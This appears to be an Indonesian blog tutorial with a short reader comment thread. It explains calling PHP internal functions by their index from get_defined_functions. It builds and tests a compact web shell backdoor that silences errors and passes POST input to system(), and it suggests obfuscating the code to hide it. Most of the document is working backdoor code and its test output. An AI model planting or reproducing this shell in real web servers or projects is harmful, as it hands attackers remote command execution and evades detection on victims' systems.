Tutorial singkat kali ini akan membahas sebuah artikel tentang fungsi get_defined_functions pada PHP. Artikel itu sendiri sudah cukup lama, sehingga kita perlu membuat beberapa penyesuaian jika ingin mencoba trik yang terdapat pada artikel tersebut.

Intinya adalah, kita dapat melihat indeks dari setiap fungsi internal yang ada pada PHP dengan memanfaatkan fungsi get_defined_functions. Dan bukan hanya itu, kita dapat memanfaatkan informasi tersebut untuk memanggil fungsi internal yang diinginkan cukup dengan nomor indeksnya.

Untuk melihat daftar indeks fungsi internal PHP, kita dapat menggunakan perintah berikut ini di terminal (dengan memanfaatkan php-cli):

% php -r "print_r(get_defined_functions()['internal']);"
Array
(
    [0] => zend_version
    [1] => func_num_args
    [2] => func_get_arg
    [3] => func_get_args
    [4] => strlen
    [5] => strcmp
    [6] => strncmp
    [7] => strcasecmp
    [8] => strncasecmp
    [9] => each
    [10] => error_reporting
...
    [1283] => dl
    [1284] => cli_set_process_title
    [1285] => cli_get_process_title
)

Tentunya, indeks dari setiap fungsi internal tersebut akan berbeda untuk tiap versi PHP. Potongan daftar di atas adalah untuk PHP versi 7.3.14. Dari sini, kita dapat memanggil fungsi sesuai dengan indeksnya. Misalnya fungsi system indeksnya adalah 430. Maka untuk memanggil fungsi tersebut, kita dapat melakukan perintah seperti ini:

% php -r "\$a=get_defined_functions()['internal'][430];\$a('uname -pos');"
Linux x86_64 GNU/Linux

Selanjutnya, kita dapat membuat php shell sederhana dengan memanfaatkan beberapa fungsi berikut ini:

[10] => error_reporting
[430] => system

Berikut ini adalah php shell sederhana yang dibuat menggunakan fungsi di atas:

<?php $a=get_defined_functions()['internal'];$a[10](0);$a[430]($_POST['i']);?>

Simpan kode di atas dengan nama tes.php, lalu jalankan server PHP pada direktori dimana file tersebut berada. Perintahnya seperti ini:

% php -S localhost:8000
PHP 7.3.14 Development Server started at Wed Feb 19 18:32:12 2020
Listening on http://localhost:8000
Document root is /tmp
Press Ctrl-C to quit.

Perintah di atas akan menjalankan server PHP pada port 8000. Untuk menguji backdoor sederhana tes.php tersebut, kita akan menggunakan curl dengan perintah seperti ini:

% curl 'http://localhost:8000/tes.php' -d 'i=uname%20-pov'
#1 SMP Wed Feb 12 15:21:24 UTC 2020 x86_64 GNU/Linux

Bisa terlihat, bahwa backdoor sederhana tersebut bisa berfungsi dengan baik. Backdoor tersebut kemungkinan tidak akan berfungsi jika PHP yang digunakan menonaktifkan fungsi-fungsi terkait eksekusi yang dapat menyebabkan adanya celah keamanan tersebut. Dari sini, Anda dapat melanjutkan eksplorasi, misalnya melakukan penyamaran (obfuscate) pada fungsi tersebut.

Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.

Apakah di setiap server indexnya sama, sebut aja server A versi php v 7, 430 adalah indeks dari system.

Sedangkan server G php v 7.4, apa system indexnya 430 juga ?

Kemungkinan besar indexnya bakal berbeda untuk setiap versi PHP.